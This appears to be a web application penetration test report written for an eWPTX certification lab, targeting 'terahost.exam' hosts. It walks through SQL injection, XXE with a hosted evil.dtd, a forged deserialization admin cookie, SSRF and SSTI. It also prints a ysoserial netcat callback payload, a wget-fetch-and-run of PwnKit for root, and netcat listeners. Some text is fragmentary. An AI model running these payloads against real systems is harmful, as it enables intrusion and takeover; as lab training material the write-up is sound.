Ewptx 1
Ewptx 1
Confidentiality Statement
This document is the sole property of Tera Host and TU EMPRESA. It contains sensitive and
proprietary information. Any duplication, redistribution, or utilization of this document, whether in
whole or in part, in any manner, necessitates the approval of both Tera Host and TU EMPRESA.
To demonstrate compliance with penetration test requirements, Tera Host may disclose this
document to auditors under non-disclosure agreements.
Disclaimer
A penetration test represents a specific point in time. The conclusions and suggestions stem from
the data collected during the evaluation and do not account for alterations or adjustments made
outside of that timeframe. Time-constrained engagements do not permit a comprehensive review
of all security measures. TU EMPRESA focused the assessment on detecting the most vulnerable
security controls that an attacker could exploit. To maintain the effectiveness of these controls, TU
EMPRESA advises conducting similar evaluations on an annual basis, either internally or through
third-party assessors.
Assessment Overview
Tera Host collaborated with TU EMPRESA to analyze its infrastructure's security stance against
current industry best practices, encompassing a web application penetration test. The testing
conducted is based on the NIST SP 800-115 Technical Guide to Information Security Testing and
Assessment, OWASP Testing Guide (v4), and tailored testing frameworks.
3. Attack – Validate potential vulnerabilities through exploitation and carry out further discovery
with new access.
4. Reporting – Document all identified vulnerabilities and exploits, unsuccessful attempts, and
the organization's strengths and weaknesses.
To determine the security of a system, web application penetration testing simulates attacks on
the system with the goal of obtaining sensitive information. These attacks can be executed either
internally or externally and help gather data about the target system while revealing its
vulnerabilities and possible exploits. This essential system health check informs testers if security
measures and corrective actions need to be implemented.
-Phishing/Social Engineering
All other attacks not specified above were permitted by Tera Host.
Scope :
10.100.13.37
10.100.13.33
10.100.13.34
To connect to the target organization website and also resolve domain names, I have to add
the server IP address 10.100.13.37 into your DNS configuration in the same way I did with the
course laboratories, and add an entry into the /etc/resolv.conf file with the IP address of the
server
1. 10.100.13.37 = http://www.terahost.exam
2. 10.100.13.33 = http://me.terahost.exam/
www.terahost.exam
And in Foxyproxy I do :
Also I will install certificate of Burpsuite (CA) by going to http://burpsuite , download and install it .
After navigating on it, I will get the HTTP History and see more about the target :
I have sent this page to repeater and try to see if it’s single quotes or double quotes error present :
So definetly it’s an SQL injection here , and the single quote is the trigger .
Searching for more , I have found that when I search for domain can be injected too .
Checking HTTP History on Burpsuite:
In Burpsuite I got :
domain=*.test
sqlmap -r tera.sql
I will explain like explained in the portswigger website what happens here:
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the
queries that an application makes to its database. It generally allows an attacker to view data that
In some situations, an attacker can escalate a SQL injection attack to compromise the underlying
server or other back-end infrastructure, or perform a denial-of-service attack.
For a parameterized query to be effective in preventing SQL injection, the string that is used in the
query must always be a hard-coded constant, and must never contain any variable data from any
origin. Do not be tempted to decide case-by-case whether an item of data is trusted, and continue
using string concatenation within the query for cases that are considered safe. It is all too easy to
make mistakes about the possible origin of data, or for changes in other code to violate
assumptions about what data is tainted.
me.terahost.exam
After going straight to http://10.100.13.37 , it landed me on a login page, also I clicked Register to
register an account ( all this is done in Burpsuite browser) :
Assuming my first approach of SQL injection from terahost.exam target I did earlier, it’s single
quote here, so let’s try on the name again with the single quote and see what I can get.
First I send this to repeater and then do again the test to see if it’s vulnerable :
Also notice in the above screenshot that the password I used test is changed in MD5 , which is a
weak approach from the ones who created this register page for terahost.exam
test in MD5 = 098f6bcd4621d373cade4e832627b4f6
Now I will try to inject and see if I can get once again the version running, by injecting in the
surename :
Searching for more , it appears that I have discovered a potential SQL injection vulnerability while
testing the "update user" functionality. By inserting a single quote (') into each field and observing
a SQL error in the Repeater response after filling the city field with a single quote, it indicates that
the application may not be properly sanitizing user inputs.
So injection could be done this way too.
Now checking the Profile page after logging in, I played in Burp and noticed that adding single
quote to “city” field near Berlin (this was added by the app itself) , I got the following error in the
repeater :
Once again for patching I will say what I have read from https://portswigger.com website :
Most instances of SQL injection can be prevented by using parameterized queries (also
known as prepared statements) instead of string concatenation within the query.
Parameterized queries can be used for any situation where untrusted input appears as data
within the query, including the WHERE clause and values in an INSERT or UPDATE statement.
They can't be used to handle untrusted input in other parts of the query, such as table or
column names, or the ORDER BY clause. Application functionality that places untrusted data
into those parts of the query will need to take a different approach, such as white-listing
permitted input values, or using different logic to deliver the required behavior.
For a parameterized query to be effective in preventing SQL injection, the string that is used
in the query must always be a hard-coded constant, and must never contain any variable data
from any origin. Do not be tempted to decide case-by-case whether an item of data is
trusted, and continue using string concatenation within the query for cases that are
considered safe. It is all too easy to make mistakes about the possible origin of data, or for
changes in other code to violate assumptions about what data is tainted.
dirb http://me.terahost.exam/
and sent it .
python3 -m http.server 80
Now I edit the request to get the data.dtd file from my Kali VM machine and then to
execute it and saw all went good!
./xxeserve 80
Now I will create as in video but with slightly modification evil.dtd and host it with apache2 on
/var/www/html
Also tested to see if it’s hosted, here is the content too:
python3 -m http.server 80
PD9waHAgJF9bXSsrOyRfW109JF8uXzskX19fX189JF9bKCsrJF9fW10pXVsoKyskX19bXSkrKCsrJF9fW10pKygrKyRfX1tdKV07
JF89JF9bJF9bK19dXTskX19fPSRfXz0kX1srKyRfX1tdXTskX19fXz0kXz0kX1srX107JF8rKzskXysrOyRfKys7JF89JF9fX18u
KyskX19fLiRfX18uKyskXy4kX18uKyskX19fOyRfXz0kXzskXz0kX19fX187JF8rKzskXysrOyRfKys7JF8rKzskXysrOyRfKys7
JF8rKzskXysrOyRfKys7JF8rKzskX19fPStfOyRfX18uPSRfXzskX19fPSsrJF9eJF9fX1srX107JMOAPStfOyTDgT0kw4I9JMOD
PSTDhD0kw4Y9JMOIPSTDiT0kw4o9JMOLPSsrJMOBW107JMOCKys7JMODKys7JMODKys7JMOEKys7JMOEKys7JMOEKys7JMOGKys7
JMOGKys7JMOGKys7JMOGKys7JMOIKys7JMOIKys7JMOIKys7JMOIKys7JMOIKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOJ
Kys7JMOJKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7
JMOLKys7JMOLKys7JMOLKys7JF9fKCckXz0iJy4kX19fLiTDgS4kw4QuJMOGLiRfX18uJMOBLiTDhC4kw4MuJF9fXy4kw4EuJMOG
LiT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X19fLiTDhC4kw4AuJF9fXy4kw4Eu
JMOILiTDgC4kX19fLiTDgS4kw4QuJMOBLiRfX18uJMOBLiTDiC4kw4MuJF9fXy4kw4EuJMOILiTDgy4kX19fLiTDhC4kw4AuJF9f
Xy4kw4EuJMOILiTDhC4kX19fLiTDgS4kw4YuJMOALiRfX18uJMOBLiTDhC4kw4YuJF9fXy4kw4QuJMOALiRfX18uJMOBLiTDhC4k
w4YuJF9fXy4kw4EuJMOJLiTDgC4kX19fLiTDgS4kw4QuJMOBLiRfX18uJMOBLiTDhi4kw4YuJF9fXy4kw4QuJMOBLiRfX18uJMOE
LiTDgi4kX19fLiTDiS4kw4MuJyInKTskX18oJF8pOz8+Cg==
Going to 3v4l.org , seleceting all the PHP versions and decoding I got the flag :
blog.terahost.exam
Point of reference here is the same website portswigger , here is full link :
https://portswigger.net/web-security/deserialization
The impact of insecure deserialization can be very severe because it provides an entry point to a
massively increased attack surface. It allows an attacker to reuse existing application code in
harmful ways, resulting in numerous other vulnerabilities, often remote code execution.
Even in cases where remote code execution is not possible, insecure deserialization can lead to
privilege escalation, arbitrary file access, and denial-of-service attacks.
Used feroxbuster
Using https://lelinhtinh.github.io/de4js/ and put the content of the blog.js and clicked Auto Decode
Found creds!
Line 33 →
Username : fooblog
Password : foo0blog1
var _0x4777 = [
'?page=login',
'fromCharCode',
'',
'concat',
'POST',
'open',
'Content-type',
'application/x-www-form-urlencoded',
'setRequestHeader',
'onreadystatechange',
'readyState',
'status',
'responseText',
'log',
'send'
];
var http = new XMLHttpRequest(), url = '?page=login', params = 'username', p1 = '=fooblo', pp11 = 'g
&pas', p11 = 'g&pas', p2 = 'sword=fo', p111 = 'g&pas', p22 = 'o0blog1', x = '';
xx = 'username=fooblo';
xxx = 'username=fooblog&pas';
yyy = yyy.concat('username=fooblog&pas');
xxxx = 'username=fooblog&password=fo';
yy = 'username=fooblog&password=foo0blog1';
http.open('POST', '?page=login', true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
alert(yyy.concat('username=fooblog&pas'));
http.onreadystatechange = function ()
/* Called:undefined | Scope Closed:false| writes:false*/
{
4 == http.readyState && 200 == http.status && alert(http.responseText);
console.log(p2);
};
http.send('username=fooblog&password=foo0blog1');
Link : http://blog.terahost.exam/testtest1234567890/
cryp.php.inc :
<?
$plaintext = "abcdef";
$key = "8b362e210615e66b3bf7f69f6c819056";
$cipher = "aes-256-ctr";
$iv = "ABCDEFGHIJKLMNOP";
function encrypt($plaintext) {
if (in_array($cipher, openssl_get_cipher_methods()))
{
$ivlen = openssl_cipher_iv_length($cipher);
echo '\n'.strlen($iv).'\n';
$ciphertext = openssl_encrypt($plaintext, $cipher, $key, $options=0, $iv);
if ($ciphertext) {
return $ciphertext;
} else {
echo "Encryption error";
}
<?php
class userdata {
public $role = "";
public $id = 0; //0-99
public $uid = 0; //0-99
}
?>
I see in the last one that I can assign roles , so I will try to see if I can do PE on target.
I will assign the role of Administrator
So I will create a new php page with the following content and call it admin.php :
<?php
class userdata {
public $role = "admin";
public $id = 0;
public $uid = 0;
$key = '8b362e210615e66b3bf7f69f6c819056';
$chiper = 'aes-256-ctr';
$iv = "ABCDEFGHIJKLMNOP";
This admin.php creates a userdata class with public properties role , id , and uid . The
constructor of the class takes two parameters, $i and $u , and assigns their integer values to the
properties id and uid , respectively.
The script then uses two nested for loops to iterate through all combinations of $i and $x from
0 to 99 and 0 to 100, respectively. For each combination, it creates an instance of the userdata
class, serializes it, and then encrypts the serialized data using the openssl_encrypt() function. The
encrypted data is then base64-encoded and printed out.
Now I will use the admin.txt file with Burpsuite and try the values I got in the admin.txt with Intruder
, and look for a good result (the most length I get, then change the value for the auth using the
Cookie Editor Add-On)
First in the Chrome browser from Burp , I log in to the blog then I send in the Intruder the request
and use the admin.txt
After starting the attack I got the role of admin in the response :
Ti8ra1RvUVBHd25HV3hydGFpZW1OQlExeFo0dW5zNnlVa1dSV244NmI4K1J1ZThkdmZHaUVWNy9ENnZHYzlFelpQMlpRUjRBSDFD
amRyVXMwWS95Sm9mWk9RNmdKTE09
That is the cookie that works and makes me Administrator on the blog!
In general, it's best to avoid deserializing user input unless it's absolutely necessary, as the risks
associated with potential exploits and the challenges in defending against them often outweigh the
benefits. If you must deserialize data from untrusted sources, implement strong safeguards to
ensure data integrity, such as using a digital signature. Keep in mind that these checks should be
performed prior to starting the deserialization process; otherwise, they may not be effective.
If possible, steer clear of generic deserialization functions. These methods expose all attributes of
the original object, including private fields that may contain sensitive data. Instead, consider
developing custom, class-specific serialization methods that grant you control over which fields
are revealed.
Lastly, it's crucial to understand that the vulnerability lies in the deserialization of user input, not in
the gadget chains handling the data afterward. Don't depend on eliminating gadget chains
discovered during testing, as it's nearly impossible to address all of them due to the
interconnected web of cross-library dependencies present on your website. Furthermore, publicly
documented memory corruption exploits can pose a threat at any time, potentially leaving your
application vulnerable.
After getting the Administrator rights, looking more in the code of the page, i see this :
So , on the profile page, Administrator can import articles , etc. I will check more .
Confirm that I am admin and going to the fetch.php that I have found earlier.
Also I will try with Intruder to see if I can find any open ports maybe I can get lucky
I have found some nice lengths that indicated 3 opened ports : 80, 631 and 5000 .
When feasible, refrain from utilizing user-generated input in functions that can execute requests
on the server's behalf. If it is necessary to incorporate user-generated data into a URL, restrict the
web server's resource requests by employing a whitelist of approved domains and protocols. Due
to the multitude of potential attacker-initiated requests, blacklists should be avoided. Moreover,
disable unneeded URL schemes like file:///, ftp://, or gopher://, and ensure that authentication is
mandated for internal services such as Elasticsearch and MongoDB.
Server-Side Request Forgery (SSRF) is a web security flaw that enables an attacker to
manipulate a server-side application into making requests to unintended destinations. Typically, in
an SSRF attack, the perpetrator might compel the server to connect to internal-only services
within the organization's infrastructure. Alternatively, they could force the server to establish
Checking if I can ping my IP using Burp and that url parameter (opening netcat listener) :
Seems good again, checking to catch the first reverse shell now!
config.__class__.__init__.__globals__['os'].popen('ls').read()
The given Python code snippet is an example of how to execute a shell command (in this case,
'ls') using the 'os' module in Python. The code retrieves the global 'os' object from the
configuration class's __init__ method and calls its 'popen' function to run the 'ls' command. The
output is then read and returned.
I will check this out further doing more tests , cooling the heat in my head. This is crazy
Moving further I will the 1337 port and see what I get
We can notice that the application necessitates a parameter called "data." However, when
attempting to upload something, the application indicates that base64 encoding must be employed
while in Java mode.
I can use like in training material ysoserial and generate a payload which I can add it and get my
first reverse shell .
java -jar ysoserial-all.jar CommonsBeanutils1 "nc 10.100.13.200 1324" | base64 | tr -d '\n' > payloa
d.txt
ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Let’s see..
Found it https://forum.portswigger.net/thread/ysoserial-stopped-working-b5a161f42f
java -jar ysoserial-all.jar CommonsBeanutils1 "nc 10.100.13.200 1234" | base64 | tr -d '\n' > payloa
d.txt
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGls
L0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIA
AkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25z
LmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRp
ZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8Fu
rKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL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4AAAAAAABABUAFgABAAAAAQAXABgAAgAZ
AAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgAB
AAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAA
AAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxW
ZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRh
YmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMv
dXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMv
dXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXls
b2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEA
AAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+
AA14
BUT it failed .. so I had to do more digging to find the right payload . I did this manually , also
downloaded A LOT of versions of ysoserial , and installed JDK11 again .
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9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kBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQA
PTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJ
Opened a netcat listener on port 8888 on my Kali with the following command :
nc -lvnp 8888
After executing in Burp I got the response that data.php was saved and that the data was
deserialized!
Also , checking the terminal with the listener on port 8888 I got the FIRST SHELL :
127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
From above shell where I was root, I saw the elsuser is a user on the machine!
Let’s see if I can catch the second shell now .
So, we are executing commands as elsuser.
Templates should not be generated based on user-controlled input. Instead, pass user input as
template parameters after sanitizing it to eliminate undesirable and dangerous characters prior to
processing. This reduces the likelihood of your templates being compromised by malicious
attacks.
If permitting certain high-risk characters is necessary for specific template attributes, assume that
executing harmful code is unavoidable. In such cases, confining the template environment within a
Docker container can be a safer alternative. Utilizing Docker's security features, you can create a
secure setting that curtails potential malicious activities.
Like I saw in the labs in the training on INE for this course, first of all I need to create a file and
host it on my kali , I will call that file shell2.sh and the content is the following one:
python3 -m http.server 80
nc -lvnp 1313
which python3
To prevent server-side template injection, it's best to avoid letting users modify or submit new
templates, but this may not always be feasible due to operational needs. A simple method for
minimizing the risk of such vulnerabilities is to use a "logic-less" template engine like Mustache,
unless absolutely required. Keeping logic and presentation separate can significantly lessen the
chances of severe template-based attacks. Additionally, executing user code in a restricted
environment with potentially hazardous modules and functions removed can help, although
sandboxing untrusted code can be challenging and susceptible to circumvention.
Let’s enumerate more and see if I can get root on the machine..
Downloaded on the target after going to “tmp” folder , gived permission to run, then runned it:
wget http://10.100.13.200:8081/PwnKit
chmod +x PwnKit
./PwnKit
Bum → root!!
Did ID and I see I have even more privileges then the first shell I had!
Trying to add a new user and see if I can do SSH on target with the new user :
ssh examhack@10.100.13.34